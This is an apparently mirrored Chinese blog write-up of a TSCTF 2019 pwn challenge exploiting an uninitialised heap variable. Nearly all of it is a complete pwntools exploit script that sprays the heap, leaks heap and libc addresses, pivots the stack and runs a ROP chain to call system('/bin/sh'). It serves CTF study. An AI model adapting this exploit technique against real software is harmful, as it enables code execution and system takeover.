TSCTF 2019 Pwn 薛定谔的堆块
source link: https://xuanxuanblingbling.github.io/ctf/pwn/2020/05/18/schrodinger/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
TSCTF 2019 Pwn 薛定谔的堆块
发表于 2020-05-18
| 分类于 CTF/Pwn
这是一道堆喷思想和堆风水思想结合的题目,漏洞点是堆上变量初始化。利用方式和本题代码强相关,通过堆喷思想控制堆上的未初始化的变量,然后综合利用堆风水和堆喷泄露出堆块的布局信息以及libc基址,然后在利用堆喷思想劫持控制流并完成栈迁移到堆上,最后进行ROP即可getshell。
以下exp成功率不高,可能几分钟后才能getshell
from pwn import *
context(arch='i386',os='linux')
myelf = ELF("./brother")
io = process(myelf.path)
sla = lambda delim,data : (io.sendlineafter(delim, data))
show = lambda start,end : (sla(">>> ","2"),sla("index : ",str(start)),sla("index : ",str(end)))
delete = lambda : (sla(">>> ","3"))
hack = lambda index : (sla(">>> ","5"),sla("index : ",str(index)))
def add(size,data,type):
sla(">>> ","1");sla("note : ",str(size))
for i in range(16):(sla("data : ",data),sla("type : ",str(type)))
def sub(addr):
add(100,p32(addr)*20,3)
delete()
add(8,'',8)
while 1:
try:
io = process(myelf.path)
# update mmap_threshold
add(0x20000,'x',1);delete()
# heap spray
for i in range(0x10):
add(0x20000,'\x57'*0x1ffff,1)
# 0x57575757 - 1
sub(0x57575757);hack(256)
# leak heap to handler 0x57575757
point = 0;pos = 0
for i in range(255):
show(i,i)
a = io.recvuntil("1. ")
if "V" in a:
log.warn("point: "+str(i))
point = i
log.warn("pos: "+str(a.find("V")-12))
pos = a.find("V")-12
break
# leak heap start
chunk_addr=0x57575757-pos
big_chunk = int(point/16)
heap_start = 0
for i in range(0x10):
print(i)
i = i + 1
addr = chunk_addr + 0x20008*i
print(hex(addr))
sub(addr)
hack(256+i*16)
show((big_chunk+1)*16,(big_chunk+2)*16-1)
a = io.recvuntil("1. ")
if "V" in a:
log.warn("line: "+str(hex(addr)))
log.warn("heap_start: "+str(hex(addr-(big_chunk+1)*0x10*0x20008)))
heap_start = (addr-(big_chunk+1)*0x10*0x20008)
fastbin = heap_start+0x100*0x20008
sub(fastbin)
hack(256+(i+1)*16)
break
# leak libc
show(256,271)
io.recvuntil("\xff")
libc = u32('\xff'+io.recv(3))-0x1b26ff
log.warn("libc: "+str(hex(libc)))
for i in range(0x20):
delete()
# stack priovt
magic_gadget1 = 0x00164301
magic_gadget2 = 0x00100531
system_offest = 0x3ada0
binsh_addr = 0x15ba0b
ropchain = p32(libc + magic_gadget2) + p32(0) + p32(libc+ magic_gadget1) + 'A'*3 + p32(libc + system_offest) + p32(0) + p32(libc + binsh_addr)
# heap spray heap_start+4
add(0x1000,p32(heap_start+4)*250,1)
delete()
# put ropchain on heap_start
add(32,ropchain,8)
# trigger call heap_start+4
hack(0)
io.interactive()
except:
pass
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK